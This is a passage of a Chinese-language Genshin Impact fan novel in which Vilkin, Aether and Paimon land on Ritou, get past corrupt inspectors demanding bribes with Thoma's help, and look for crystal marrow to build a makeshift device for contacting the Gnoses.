那究竟是什么让她认为,神之眼是滋生祸端的罪魁祸首,又究竟为何她会认为, 不变的永恒, 会是一个国家发展的最好的形式? 维尔金还是想不通。 “你看起来很苦恼。” 一撮挑染的红发打断了维尔金的思绪。 枫原万叶观察维尔金很久了。 这位由凝光亲自出面委托大姐头, 郑重其事要求, 一定要将这位璃月仙人送往正处于锁国状态的稻妻。 稻妻的局势变幻莫测, 不少人都恨不得躲得远远的,偏偏有人逆流而上,身为流落他乡的稻妻人,枫原万叶将疑惑藏在心底, 开始仔细观察这三位登上死兆星号的大人物。 很快他就发现,这三人组合看起来就十分奇怪。 首先是维尔金,无需多言,他很强,但是却没有什么时政方面的常识……甚至就连全提瓦特大陆几乎人尽皆知的眼狩令都不甚了解。 而当枫原万叶同另外两位交流时,他很明显能够感觉到,空和派蒙对七国的了解程度甚至比不上他一个大部分时间都在船上的通缉犯。空身为旅行者,居然只对蒙德和璃略知一二,而派蒙看起来虽小,实际上非常博学,一谈及一些古早的秘辛和故事,她总是能够讲出些他从未听说神话故事来。 直觉告诉枫原万叶,眼前三位绝非是传言中的璃月的仙人——首先,璃月七星不可能在岩神仙逝的情况下再任由自己国家的仙人以身涉险、去往目前状态不明的稻妻,这不符合常理。 其次,他们完全没有以仙人身份自居,说话习惯语气也不像是远离世俗的仙人,而更像是空介绍自己时所说的旅行者。 所以这次他来,也是想要试探一番。 维尔金没有回头,金色的眼眸凝视着波涛汹涌的海面。狂躁的雷暴和黑云的气势让下方的海面也不再温顺,露出其狰狞的真实面目,却又碍于庇护这艘船的神明之身份而轻举妄动。 他听死兆星号的船主北斗提及过枫原万叶的身份,直言道: “我在思考巴尔泽布颁布锁国令的原因。” 维尔金言简意赅,随即灵光一闪,看向这位正是从巴尔泽布治下的稻妻逃出来的人类:“你觉得现在的她,是一个什么样的神明吗?” 枫原万叶从没见过如此直接的人,一瞬间都不知道从哪里开始回答。好在他是一个会认认真真倾听他人说话的人,念及维尔金另外两位同伴似乎也不太清楚时政,生于善用委婉言辞提醒他人之国度的枫原万叶,纠结了一番措辞,回答了一个最无伤大雅的问题: “……雷电将军的神名为巴尔……” “这个不是重点,重点是你的看法——你怎么看待眼狩令?” 枫原万叶难以回答,他甚至觉得维尔金这幅模样不像是想要了解稻妻,像是要搜罗雷电将军罪证一般。 虽然只是一介漂泊的武士,但行走世间,他也不是没有吧见到过奉行威逼利诱、审问证人的场景。 现在维尔金的这副架势……不知道的还以为他想要搜集将军的污点。 见枫原万叶半天不开口,似乎也是觉得自己逼迫子民锐评执政官的行为确实有点不妥,轻咳了两声,干脆直接转移话题: “我记得你现在还是被通缉的状态,那达到鸣神岛之前的盘查审问是有什么办法直接糊弄过去吗?” “鸣神岛?”枫原万叶不解,但还是好心解释道,“现在稻妻官方明令禁止外国人进入稻妻,哪怕是做做生意的外国商船,也只能被集中在离岛生活。死兆星号去不了鸣神岛,最多是穿过雷暴、把你们送到离岛安顿下来。” 什么—— 居然没办法马上见到巴尔泽布? 维尔金脸色大变,顾不得再去分析巴尔泽布的心理因素和眼狩令法案的不合理性,不信邪又问了一遍:“确定不能直接去鸣神岛吗?” 他不信摩拉克斯没有授意七星,让他们跟巴尔泽布的手下交涉。有了对标摩拉克斯麾下最接近尘世七执政之职的璃月七星作担保,维尔金他们来到璃月的消息一定会被交给巴尔泽布——按照后者那个直来直往的个性,一定会爽快地批准。 枫原万叶摇摇头。 “天领奉行否决了一切外国人进入鸣神岛的提议,而勘定奉行在严格审核了一番天权星大人的亲笔信后,仍然拒绝了死兆星号进入鸣神岛区域范围内的请求……实不相瞒,勘定奉行甚至连死兆星号靠泊离岛的请求都没有批准……所以大姐头找了离岛的地头蛇,到时候由他想办法安排你们进入鸣神岛,见到将军。” 后面的话,枫原万叶觉得不必说得太过明白。 毕竟……“偷渡”这种词着实有点难听,但他相信意思维尔金已经完全领会到位了,毕竟后者已经陷入了沉思。 维尔金想了很多,难道是因为沉睡太久而忽略了下属的心理健康,从而导致巴尔泽布计划用冷暴力把他拒之于门外吗? 讲真,领导千里迢迢微服私访,巴尔泽布连门都不让他跟派蒙进是否有点太过分了? 维尔金可还有忘记,巴尔泽布从前跟在她姐姐身边做专职打手时,虽然不说个性又多么开朗,至少也不至于话都不跟他说一声,就直接要把他跟派蒙拒之于门外吧? 这样会显得他这个天空岛之主兼尘世七执政的领导当得很失败诶。 但是一联系起送仙典仪上摩拉克斯说过的那句关于永恒的倒反天罡的话—— 维尔金突然有了一个非常可怕的想法: 巴巴托斯是忘了看神之心消息、摩拉克斯是不会看,那巴尔泽布这么老老实实不喜欢拐弯抹角的年轻神,不会是看了她消息后直接挂了吧?? ——现在则是连敷衍都不想敷衍了吗? 越想维尔金越是觉得很有可能,维尔金一把抓住枫原万叶,死死钳制者双手,后者甚至都催动了神之眼也没有挣脱开: “现在还能改道直接转向鸣神岛吗?” 这趟鸣神岛,维尔金无论如何也要去一趟——巴尔可是抗击深渊的烈士,于情于理,她的妹妹现在在稻妻对维尔金有意见,不管是误会还是待遇不满,作为直属上司,维尔金都认为自己有必要推心置腹地给巴尔泽布来场心理健康教育谈话。 不然到时候巴尔泽布不满天理的消息传出去,万一被深渊的虫豸们做文章,说反叛天空岛是七国众望所归可就完蛋了,维系者非得把他捆在天空岛的柱子上一辈子不可! 事关团队凝聚力和自己的退休大计,维尔金恨不得当者枫原万叶的面撕裂空间,他现在甚至有点后悔—— 早知道在颠倒之城的时候多撕几下空间得了,反正是随机传送,次数一多样本量一上来,总能开到鸣神岛的空间通道。但是在地上,随意撕开空间裂缝只会让本就脆弱得不行的提瓦特地表生态当场爆炸,所以别说多试几次了,眼下唯一可行的办法只有游到鸣神岛—— 稻妻周围充斥着大大小小的群岛和和数不尽的碎裂石礁。 理论上来说,他一个人从离岛游到鸣神岛问题不大,但是一拖二,他不保证空和派蒙能够全头全尾、身子完好地抵达鸣神岛。所以,如果可以的话,直接去鸣神岛对大家而言都是一件美事。 维尔金已经下定决心—— 巴尔泽布不愿意见他,他自己去找她就好。就像他自己也不愿意看见维系者,但是后者总是能阴魂不散地精准定位到自己一样—— 总不能巴尔泽布不想见人,就真的放任她一个神待着吧? 维尔金忧心忡忡,一个神待着早晚会出毛病的。摩拉克斯有那一堆仙人和若陀陪着,巴巴托斯就不用说了,他自己会给自己放假;厄歌莉娅因为当年对他只关心人类的做法颇有微词,成神后一天到晚不知道在捣鼓什么,布耶尔就算了,世界树这个全年无休的工作让她没时间想东想西…… 罗列下来,居然还真就是巴尔泽布最容易出现心理问题。 老半天都得不到枫原万叶的回应,维尔金甚至恨不得当场举着死兆星号飞到鸣神岛上。 枫原万叶有些困惑,但还是面露歉意道:“抱歉,这时候跟大姐头说要临时更改方向的话,恐怕有些迟……” 黑压压的乌云似乎散去了些,汹涌的海浪也渐渐平息,远离了雷暴的云团,一直笼罩在海面上的迷雾正慢慢散去,露出岛屿半遮半掩的面貌。怪石林立的山峦种满了美丽的红枫树,码头边空无一人,没有操作和调度,甚至码头上只能看见一个人站在边上,似乎是就是枫原万叶口中的地头蛇。 很充分的准备,使他完全不能人工游到鸣神岛。 维尔金凝重地看向正欢快的跟他们打招呼的“地头蛇”,内心已经纠结成一团乱麻,只能在心底默默祈祷—— 这位“地头蛇”,一定要是一位非常不好说话、收了钱不会帮忙办事、半路就会把他们仨丢到一边的大恶人啊!!—— 作者有话说:天领奉行:这是什么?璃月会客的要求?婉拒了哈,将军谁都不见 第45章 第 45 章 离岛砍价不传之法…… 甲板搭在许久都没有船只使用的码头上, 拨开浓稠的海雾,处于锁国状态的稻妻远比维尔金想象的安稳和平得多。 明明是件好事,但一想到巴尔泽布明明不是很忙, 却还是无视了自己探索邀请后, 维尔金显而易见地萎靡不振。 “哟, 璃月人的大姐头可是让我好等。” 迎接他们的金发男人穿着半日常的盔甲, 虽然说是蛇头, 但估计在稻妻的奉行所之类的地方也有挂职。派蒙锐评,一看就是那种公权私用、利用职务之便给自己赚外快的家伙。 北斗热情地打了招呼后调侃: “还不是因为你们的将军大人,最近稻妻外海的雷暴和风浪比之前强烈多了,害得我们浪费了不少时间。” 死兆星号的主人北斗同这位看上去具有官家背景的接应蛇头客套了几句,向维尔金他们介绍道: “这位是托马, 我最近熟络的商业伙伴,在离岛跟我们这些外乡人混迹了不短的时间,说他是这里的地头蛇也完全不为过——有什么难处不要客气, 直接找他, 但如果这家伙有别的小心思、图谋不轨……” 确定了,这个托马不是好人。 听懂了北斗话中暗藏的身体,维尔金瞬间了然:“放心, 我不会放过他的。” 北斗哽咽住了一瞬, 只能摸摸把后面半句“下次来稻妻会替你们出头”的话也咽下肚子里。 不愧是连凝光都觉得麻烦的人物, 看起来武力值不容小觑, 对自己的实力也极度自信。要不是时机不对, 还真像跟这位强者切磋一番。 既然当事人表示信心满满,北斗也省略了那些啰嗦的关照。偷渡是小事,就算勘定奉行的人找麻烦,能用摩拉解决的问题都不是问题, 更何况有托马在,应该不会有什么问题。而且北斗派人仔细调查过三人,他们明面上身份都足够干净,想来也不会有什么差错。 但她的死兆星号上面可还有一个稻妻通缉犯,每在稻妻多停留一段时间,危险性都要多一分。嘱咐了托马几句后,北斗就率领船队离开了离岛,向着璃月海域进发。 死兆星号渐渐远去,托马简单介绍一番离岛目前的情况后,说道: “北斗已经跟我说过你们的事了,但是抱歉。外国人不光不被允许前往除离岛以外的任何岛屿,甚至连来到离岛,需要先去监察站登记、查验身份。” “诶?我们不是偷渡来稻妻的吗?” 派蒙有些担心,如果要他们去稻妻官方进行登记,那跟自投罗网又什么区别呢? “自投罗网的话……难道是打算让我们用囚犯的身份被带到鸣神岛吗?” 空觉得这个计划不太靠谱,万一托马想要在这期间对他们动手,那可再容易不过了。 至于维尔金,他心中已经有了计划——既然是见不了光的偷渡客和专门做不法贸易的蛇头,那他只要趁托马不注意给他后脖颈来一肘,就能顺顺利利地脱身前往鸣神岛了。 托马友善地为眼前三位心中各怀心思的三人科普稻妻目前的局势: “你们可不要小瞧锁国令,查验身份的事情,只要你们打算在离岛待下去,躲是不可能躲得过的,倒不如规规矩矩地……把不规矩的事儿给办了,到时候就算要查,也查不出什么明面上的错处来。” 听起来似乎很有道理,但是维尔金觉得这样速度是在太慢。没人比他更懂得走官方渠道有多么缓慢,以至于每次提瓦特出事的时候,维系者从来不会按正规流程一步一个申请,只会一拳轰开维尔金房间的大门,然后也不管什么下界通道,带着他就是纵身一跃。 同理,官方的规矩肯定是最安全的,但一定不是最快的。 而且,难道他们有什么能够证明身份的文件吗? 维尔金想了老半天,直到被托马逮到监察站门口,他才意识到这里的所谓“监察”究竟有多敷衍。 零零散散的报关文件和保单堆积在几个空箱上面,好几个水手围在周边聊天,里面的监察也看起来格外随意,看到领着他们来登记的人是这位离岛的地头蛇后,低着头,像是不记得所有船只已经被禁止进入稻妻境内一样,例行询问道: “麻烦告知一下三位的详细情报,以及是否有随行货物?” “我们来找雷电……” 空以迅雷不及掩耳之势抢话道:“我们是从璃月专程来做矿石生意的商人!!” “哦?” 监察挑眉,上上下下打量了许久,双手交叠,慢条斯理道:“既然是正式而又符合规则的理由,还请提交你们的登岛手续和相关文件以核实情况。” “居然还要登岛文件?”派蒙大吃一惊,“也没有人告诉我们登岛还需要准备手续文件呀!” 监察两手一摊:“那抱歉了,如果没有有效手续文件是无法办理通关凭证的。” 空问:“那要怎么办?” “要么从哪来回哪去,要么……你知道的,原则上,我们是不会为这种人情世故而通融的……” 监察比了个手势,心满意足地准备收取眼前三个外乡人的上供。 “那我们走吧,放心,我已经想好解决办法了!”维尔金左手拉着派蒙,右手揽住空,脑子转的飞快,“我已经在脑子里规划好了横渡海域直达鸣神岛的路线——派蒙,有没有信心游过去的时候不呛水?保守估计,我们现在出发,天黑前能在稻妻城的后山登陆——” “呃……我们要不还是再想想办法吧,自从吸入了不少深渊瘴气之后感觉这段时间一直都浑身使不上力气。” 得到否定回答的维尔金失落地叹了口气,看着都快急出红眼病的监察,摇头叹息:“居然还不能够通融……唉,我就说摩拉这种没用的东西就应该早花光早享受的,看看,现在哪里都用不上……” 听到关键词摩拉的监察轻咳两声,态度柔和许多,手不自觉地伸出一只,眼睛到处乱瞟:“原则上……那自然是不可以的,所以需要一些小小的助力来打破原则……毕竟天底下没有免费的午餐,像三位这样行走四方的大商人,应该不用我多说了吧?” 还愣着干嘛,快给摩拉!快报价啊!快贿赂她啊!! 空了然,这哪是不能通融,这可太能够通融了! “那您可真是太心善了,居然愿意收下对我们都没什么用的摩拉。”空捧读,但是这一路上他们真正用到摩拉的机会并不多,一时之间,空有点拿不准监察的心理价位,于是把定价权交到了监察手中—— “我们出这个数。” 空双目正对监察,比划出三个手指。 三十万摩拉一个人是他的极限预算,虽然说兜里还有不少,但他害怕后面的国家也有需要花钱的地方,还是得好好精打细算一番,免得到时候兜里一分也不剩了。 “行吧行吧,那就依你的,三百一个人……真是的,居然知道文件费,还害得我白高兴一场……” 意识到眼前人不好糊弄的监察立马翻了个白眼。璃月的商人果然不好忽悠,不像那几个枫丹的商人,说几万摩拉就真给几万摩拉。 三百摩拉,她可一分都抽不了成。 在监察即将骂骂咧咧做文件之前,托马及时插嘴道: “抱歉抱歉,这三位的登岛文件我在这里,还请您过目。” “下次早点拿出来啊!”派蒙也说出监察的心声: “差点让人家白忙活了!” “文件没什么问题,各位,虽然中间有些无伤大雅的小插曲——” 监察交还文件给托马,尽管没能够趁着信息不对等敲上一笔,但既然是对离岛颇为了解、还准备充分的行商,她也不再多做无用之举。 抛却在工作中试图偷偷收取小费这一点外,监察忠实履行了她的职责,验证完文件没有问题后,便直接给他们放行—— “欢迎来到离岛。” “这里只是查验登岛许可,但要是想在离岛停留,必须还得去远国监司办理手续。不过看你们熟络砍价的样子,想必来之前应该已经对离岛现在收取所谓手续费盛行的事情有所传闻了……作为补偿,远国建司那边,砍价的事情就请交给我来吧!” 说完,托马还神神秘秘地补充道:“等会我给你们展示下 如何在远国建司砍出骨折最低价吧!” “说起来,从刚刚起就一直有哪里不太对劲吧?” 眼下只有他们三人加上托马,派蒙终于有机会问出心中的困惑,“怎么离岛所有的业务办理都没有一个明码标价?要不是空说中了文件的标准费用,一定会被他们狠狠宰一刀的吧?” “巧立名目,收取贿赂——这就是现在离岛的统治者,勘定奉行所做的一切,所以对于他们而言,无论收多收少都无所谓,毕竟这些文件原本的手续费用,甚至连一百摩拉都不到。” 维尔金问:“原来如此,那这个应该就是人类口中的‘贪污’吧?” 托马略微迟疑,缓缓点头。 “那接下来的砍价先让我试试吧——”维尔金自告奋勇,大部分时候能够被他见到的人类几乎都是正义、热血、无私的代名词,难得见到自私自利的新鲜人类,维尔金心里痒痒的。 “没问题。” 托马爽快答应,随后对维尔金说道:“总而言之,你就放心大胆地砍价就好,如果不确定的话,就记住我说的法则——” “什么?还有秘诀?!”派蒙也来了精神,硬是挤到中间。 托马微微一笑,悄悄对三个新朋友透露了在离岛砍价的必杀技—— “记住,等会不管勘定奉行的人怎么说,凡是他们报的价,一律先砍四个0。” 第46章 第 46 章(捉) 温柔一刀 “就这么简单粗暴?” 托马拿出属于离岛地头蛇的自信: “就是这么简单——和璃月不一样, 如今的稻妻在锁国令的影响下对外国人可没有那么友好,恶意抬高价格只是离岛上的稻妻人排挤外国人的一个缩影,所以这中间的水分嘛……的确有点大” 说着说着, 托马叹了口气。 “自从锁国令和眼狩令出现后……很多事情就变了。” 神明的意志会被他们的子民们奉为圭臬, 大多数人都会自然而然地顺应着法令条款继续生活, 但托马显然不是其中之一。 维尔金能够从托马燃烧着不熄火焰的瞳孔中看出他隐藏在热情外表下的、一颗叫嚣着反抗的叛逆之心。 维尔金原本以为锁国并收缴神之眼是众望所归, 但听这位人脉极广的地头蛇的态度, 似乎是对锁国令颇有微词。 而与之相对的,在离岛,连作为国家枢纽的勘定奉行的各个监察已经明目张胆到可以随意定价官方文书,而这些,不会只出现在离岛的远国监司, 也不会仅仅只出现在离岛上。 远国监司的木制门槛才刚刚刷过棕榈漆,被千人万人踩踏的地板蹭亮无比。不难看出,远国监司在离岛捞了不少摩拉, 以至于一个办理驻留手续的机构都如此财大气粗。 当手掌心朝上成为办事的潜规则时, 需要有人纠正这些错误。天理不能随意插手地上七国的事务,解铃还需系铃人,稻妻的虫豸需要巴尔泽布自己清理干净。 这是尘世七执政的职责, 本应是无需提醒就应该做的日常任务。 ……比起姐姐, 妹妹果然还是不善于处理政务。 “哟, 原来是托马先生。”远国监司的监察看到竟然一次性来了三个生面孔, 眼睛本来几乎要发出光来, 但一看后面跟着托马,又重新回到那副公事公办、兴致缺缺的模样来。 “要办驻留手续吗?三位?” 派蒙伸出三根手指:“是的,三位!” 远国监司监察瞄了一眼托马,发现后者似乎并不打算插手这场交易之后, 狮子大张口:“承蒙惠顾,一共三百万摩拉。” “三百万摩拉?”维尔金眉毛一挑,双手环胸,瞬间带入到在那段在鹰翔浅滩他和空两个人凑不出一块摩拉的时光,对着狮子大张口的远国监司监察没好气道: “这么喜欢摩拉,你怎么不去黄金屋抢?” “您这话是什么意思,一个人一百万,三个人是三百万摩拉——非常公道的价格,不是吗?” “三个人30摩拉,多了免谈。” 空大吃一惊:“维尔金——”不是说只砍四个0吗?怎么好像多砍了一个? 不光是他,远国监司的监察更是像听到了多么荒谬的言论一向,笑得直不起腰来。维尔金也不恼,就这么双手环胸,杵在一边,等待笑点极低的监察笑完后,维尔金表情没有丝毫的波澜: “30摩拉,这是我的底线。” “你这个偷渡过来的异人口气还不小,区区30摩拉,你是在打发叫花子吗?”监察极其不满,“至少3000摩拉吧?” “抱歉,根据我目前在离岛上的所见所闻,我觉得愿意给你们30摩拉已经是我极其大度的表现了。”维尔金两手一摊,“你不会觉得一个小小的天领奉行可以拿捏住我们吧?” “就算你是璃月七星的贵客又如何?在稻妻就要遵守稻妻的规矩!!”似乎是意识到自己说了什么不该说的之后,监察脸色大变,将矛头对准一言不发的托马—— “托马,你这带来的人不守规矩也不太好吧?出门行走在外,这坏了规矩,大家都交不了差……你说呢?” “……监察小姐,这三位都是我的贵客,您在仔细看看……熟客的话,就便宜点,如何?”托马轻咳两声,随随便便就将主动权拿回到自己手中,报了一个在维尔金对比下显得格外高的价格:“一口价三百摩拉,如何?” “托马先生,这可是看在您的面子上……” “放心,下次我请你吃饭!” 拍板价格后,监察三下五除二就办理好了手续。 手续意外地简单、甚至连个文件都不需要制作。 维尔金和空对视一眼,但前者还在气头上——这帮监察,果然就是一群虫豸!! 派蒙仿佛做了一场大梦,摩拉的多少好像就在几句话之间忽高忽低,一下子连沉甸甸的摩拉都变得不太靠谱起来:“三百万的手续费,居然真的就用三百摩拉给搞定了——维尔金,你刚刚的胆子可真是太大了!我都不敢想,居然一口气直接砍五了个0!” “亲爱的派蒙,我只是缺乏一点点人类世界的常识,不是没有脑子。” 尤其是在托马提供他这个砍价秘法之后,无须多言,维尔金立马举一反三发现了问题的盲点—— 手续费价格跨度如此之大的另一层含义就是,根本就没有手续费。不论给多少,都会直接落入他们的口袋。 狮子大张口的三百万摩拉,本质上就是一个挑软柿子捏的行径,一旦真有商人老老实实交上这三百万,往后还会有更多名目和项目压榨他们。 “刚刚可真是让我大开眼界,维尔金先生可完全不像是璃月大姐头说的那样,不擅长跟这些弯弯绕绕的官方机构打交道的样子。” 但事实是恰好相反,维尔金只是对那些提瓦特人的生活常识没有概念,比如旅馆是需要提前预定、蹭饭其实是一种不太礼貌的行为。 但一旦涉及到比较复杂的领域,比如说挑战一百摩拉在提瓦特度过三个月,空可以担保,没人比维尔金更懂如何让这100摩拉价值最大化。 “是啊,以前再落魄都不会让我来处理这种事。”维尔金两手一摊,看似无奈,“没办法,员工闹情绪确实会给领导的工作带来麻烦,但领导也有责任安抚好员工兼烈士家属的情绪……说起来,我还挺希望刚刚那位监察小姐按捺不住冲动,直接喊来勘定奉行的人来抓我们。” 这样他还能试试看能不能趁乱打开一道空间裂缝直接梭到天守阁。 只不过…… “就是可怜那些被远国监司坑惨的外国人。”空叹了口气,如果没有托马这样了解情况的本地人指点,单靠他们自己,估计高低至少要被坑走几十万摩拉。 毕竟除了像维尔金这种对自己实力有着绝对自信的人之外,又有几个人敢一刀从三百万砍到三十。 “感觉外国人在稻妻,光是生存已经很艰难了。” 空扭头看向华丽庄重的远国监司楼宇,看清勘定奉行为了攫取钱财而蛮横添加的所谓手续费真相之后,初来稻妻的惊艳已经尽数化作排斥和隐隐的不满。 他很少如此直观地感受到潜藏在人心中的恶,但是登岛不过一天,他就见到了在蒙德璃月都难得一见的怪状。 “雷电将军不打算管管吗?”空忍不住问。 哪怕是自由的国度,神明也并不是如同表面看上去的那样完全不管事,璃月更是有钟离事无巨细地安排妥当,虽然层岩巨渊也能看出来璃月七星之间互有龃龉,但普通人的生活还是稳定幸福。 如果维系国家的官员们成为了国家的蛀虫,那么神明不应该对这些人降下制裁吗? “毕竟雷电将军,是最为殊胜尊贵的存在,是众生只能仰视的神明……在这个本就歧视外国人的地方,他们所能做的,也仅仅只是抱团取暖罢了。” 说出这句话的时候,维尔金莫名从托马的声音中尝到了些许苦涩味道。 哪怕巴尔泽布就在天守阁,稻妻的人们也不认为她能够看见众生的疾苦—— 巴尔泽布必须迅速整顿稻妻现状,不然,人类迟早会出现反抗她的军队,或者说,勇士。 就像迭卡拉庇安终究输给了他从未放在眼里的巴巴托斯。 现在的稻妻就是一座摇摇欲坠的孤塔,还差最后一点星火,就会将着满天遍野的野草统统点燃 。 “必须要尽快前往鸣神岛天守阁。”维尔金开口,向被吓了一大跳的托马认真说道:“虽然我想不通为什么勘定奉行和天领奉行的家主居然能够轻易回绝璃月天权星的拜访请求,但我不打算插手稻妻的内政,对三奉行之间的明争暗斗也没有任何兴趣。” “我的确有能够让你们直接面见雷电将军的关系,但……” "托马先生,我们不需要直接面见雷电将军的关系。" 空认真对这位明面上是地头蛇、但实际上很有可能来自于勘定奉行敌对势力的“好心人”说道: “我们只需要离开离岛的通行证。” 空看得出来,维尔金在想到某些事情之后并不打算在这里过多浪费时间,接着对这位明面上热情开朗大大咧咧、实则心思缜密的地头蛇加大力度暗示: “只要离开离岛,我们就能够想办法前往天守阁——没错吧?” 维尔金毫不犹豫答道:“只要我们进入稻妻城,巴……雷神一旦察觉到我的气息,必定会离开天守阁出来一探究竟。” 到时候见了面,自然什么都好说。 托马越听越心惊—— 能够让将军感知到气息就立马出手,说明他们有仇,而上一次将军离开稻妻,至少也要追溯到魔神战争期间。这说明,他们是八重宫司那样的生命悠长、势力强大的非人类存在,实力也不容小觑。 一边想着,托马一边庆幸。 看来天领奉行这回真是踢到了铁板,习惯于滥用职权、拼命阻断将军获得外界信息的渠道,却没想到意外拒绝了一伙他们惹不起的存在。 否极泰来,连老天都站在神里家一边—— 作者有话说:某种意义上来说,的确是连老天也站在神里家一边 第47章 第 47 章 打劫可比手动收集快多了…… “事不宜迟, 我需要先确认一下离岛周边附近的情况。面见将军的事情还请稍安勿躁,我一定尽快给你们一个满意的答复。这是万国商会的名片,有什么需要他们搭把手的地方, 报我的名字就行。” 留下这句话, 托马递给维尔金一张铭刻有“万国商会”的名片后, 就匆匆离去。 维尔金怀疑地看着这张万国商会名片, 心情微妙地收了起来。离岛这种地方的商会, 直觉告诉他还是别去搀和为妙。 派蒙望着托马远去的背影,发出灵魂拷问: “现在只能干等着了吗?早知道稻妻现在这么麻烦,还不如让维尔金直接带我们飞到天守阁呢!” 维尔金大呼冤枉:“这不是按正常的人类社交礼仪的发出邀约、然后坐船拜访嘛!谁想到稻妻官方不光连邻国领导人的面子都不给、连我的名字都认不出来——这合理吗?” “非常不合理啊!” 空的拳头砸在手心,突然想清楚之前一直盘桓在心头的那种怪异感和不合理之处从何而来—— “明明在蒙德和璃月的时候,只是一个照面, 两位神明就很快认出来了维尔金……就算雷电将军把维尔金误认为其他不相干的人,但璃月七星可是事实上的最高领导,雷电将军至少也需要验证一下是否是本人才符合逻辑吧?” 不管怎么说, 粗暴拒绝一定是下下之策。 但稻妻官方还真就这么干了。 “还有一点哟, 维尔金——”派蒙伸出一根手指摇了摇,对渐渐发现事情好像不大对劲的维尔金补充了一个至关重要的地方: “明明在送仙典仪的时候,你亲口告诉了摩拉克斯你要退休的事情、还让他转告给其他人吧?但是从巴尔泽布的反应来看, 她像是完全不知道你苏醒下界的样子。” 如果往好处想, 那就是巴尔泽布因为过于自闭, 完全不理政务、才导致对时政情况一无所知。 往坏处想的话…… 维尔金忍不住头疼, 最糟糕的结果就是深渊的家伙们已经潜伏成为稻妻暗处的影子, 蒙蔽了神明的双眼。那可就麻烦了。 那样的话,稻妻甚至有成为第二个坎瑞亚的可能。 “不行,事件优先级上升——从临时巡查七执政业务上升到疑似深渊操作,派蒙你备注一下, 到时候跟维系者补一下材料。” 为了保住自己的退休大计,维尔金也不顾他们还在露天的街道,面不改色扯开原先裹得死死的衣袍,将锁骨之上的扣子直接解开后,然后把万国商会的名片塞到一脸莫名其妙的空了,腾出来的手伸进衣领,像是摸索什么东西。 “你这是要?” 空忍不住问道。不是空好奇心过剩,实在是维尔金这副模样太过惊悚。 鲜血顺着来回捣腾的手滴落下来,浅色的衣袍虽然不知道因为什么看上去没有一点污渍,但白衣配上鲜血以及当事人毫不在意的神情,一切都显得那么格格不入。 “我在找那别人寄存在我这里的肋骨——”维尔金嘟嘟囔囔,“这根感觉也不对……可恶,到底是哪根来着的……” “肋骨……” 派蒙不解:“第三降临者的遗骸不是被你拿来做神之心了吗?怎么还会有剩——” “这是当年做神之心剩下来的边角料。”搜寻无果后,维尔金用沾满鲜血的双指抵住太阳穴,痛苦地讲述自己当年的心路历程: “我当年寻思既然有的剩,那干脆不如留着当备份,万一以后谁家神之心丢了还能再补办那么一两个。后来一直没用上,我就边角料压实做成了一条新鲜的肋骨,塞到身体里了……” “啊?” “不过这不是重点。”维尔金赶紧安抚二人,补充道,“重点是我不是经常要沉睡嘛,所以就把这条肋骨链接上了神之心,这样有什么事情我也方便联络上他们……” 空迟疑:“所以重点是?” “这次下界不是没人接神之心电话嘛……之前被空捞上来之后,我就没有再用过了,所以现在……” 维尔金试图让事情听起来没有那么离谱,极其委婉地表述了一番如今的状况—— “我好像不记得那根肋骨被塞哪里去了。” 派蒙大受震撼。 派蒙的眼睛里失去光芒。 “再仔细找找呢?”空还没有放弃,把万国商会的名片放到已经心如死灰的派蒙手里,就准备上手帮维尔金取肋骨。 “人的肋骨一共有24根,放心,用穷举法和排除法很快找到正确的肋骨的!” “不行不行,一根一根拿出来试的话,这副拟态成人类的躯体很容易会皱的!” 维尔金紧紧地抱住自己,当年魔神战争和坎瑞亚战争都没舍得让这个躯体受一点伤,要只是为了这所谓潜在的危险就这么随随便便毁掉这具形体,他这辈子都将活在无尽的痛苦和悲伤之中的! “问题的根源不就是你这家伙乱塞东西吗!”派蒙捂住眼睛,“快点把一手的血处理下,这还在人类的国家呢!” “不急,我还有办法。” 维尔金将鲜血吸收回躯壳里,用手指抵住太阳穴,想到了能够同时保住这副身体又找到肋骨的办法。 “当年雷电姐妹共同拿下尘世七执政的神位之时,我提醒过她们,这地方离暗之外海太近,心有不甘的败者极有可能会顺着稻妻爬回地面,所以当时我还给她们安排了剿灭重返提瓦特的战败者的规定。” “按照制作流程,我们只要随便找到一个魔神的尸体,以2:1的配料比,再放一点我的血液,豁楞豁楞,就能制作出能够短暂链接七执政手上神之心的临时通话装置了!” 空:…… 空深吸口气:“可是现在的稻妻,还会留有魔神的尸体存在吗?” “魔神死后,身躯将融入这个世界,成为自然的一部分,直到提瓦特毁灭,所以肯定没有问题——巴尔和巴尔泽布曾上报天空岛,蛰伏在暗之外海的大蛇奥罗巴斯曾经向她们发起挑战,如无意外,稻妻境内很容易能够找到他的残骸碎片。” “如果是这样的话,感觉这个方法很靠谱诶!”派蒙努力回忆好多好多年以前看过的文件资料,硬生生拼凑起来一个名词—— “晶化骨髓……对,就是这个!人类会管魔神死后产出的结晶叫晶化骨髓!” 维尔金盯着派蒙手上挥舞的名片。 万国商会吗…… 既然是商会,应该会有充足且大量的晶化骨髓吧? 怀着可以偷懒的心愿,三人按图索骥,根据名片上的联络方式很快就找到了名片上万国商会。 只是同顶着“万国”这样的大气名头相比,万国商会的据点显得极其落魄。商会会长久利须是一个中年男子,由于锁国令推行后勘定奉行针对异国商人各项法案的推出,这位疲惫的枫丹商人尽管看上去有些落魄,但还是用极大的热情迎接这三位生面孔。 在听到维尔金三人是专程来购买一种稻妻珍贵的特产后,这位就快要资不抵债的商人眼睛都亮了起来,而在他知道维尔金他们想收购的货物居然是晶化骨髓后,兴奋转眼间就变成了失落,很快就跟维尔金他们大倒苦水起来: “维尔金先生,您可是有所不知!这段时间勘定奉行颁布了新法案,规定离岛上缴税金的形式从摩拉变更为您口中这种叫做晶化骨髓的货物。原本大家还能四处搜罗,但随着税金需求量越来越大,外部价格越来越高、库存越来越少……到现在,整个离岛,只有一位商人手上还有存货,价格现在也是水涨船高,恐怕在过一阵子,我们商会就有不少人连税金也交不起了!” 哪怕是三岁小孩都知道,官方会放任这种被强行制造出来的必需品形成垄断只有一种可能。 “官商勾结……说不定那个商人在这条庞大的利益链里头连个零头都拿不上。” “真是的,自从登上离岛,这里时时刻刻都在刷新我对坏人理解的下限!”派蒙气得跺跺脚,但也无济于事。 既然万国商会没有晶化骨髓,他们只能另想办法。 打劫商人?没必要,维尔金还没落魄到需要拿一个利益产业链最底层的小商人开刀的想法。 手动采集又太慢。 决定了—— 维尔金决定临时使用一下巴尔泽布顶头上司的合法权益。 既然外界没有现成流通的晶化骨髓供他购买,那他可就要抄了勘定奉行的仓库了。 但在这之前…… 维尔金看向眼前这位愁容满面的枫丹商人,叹了口气。明明是一个好好在奋斗努力的商人,居然因为税金变成这副憔悴的模样。 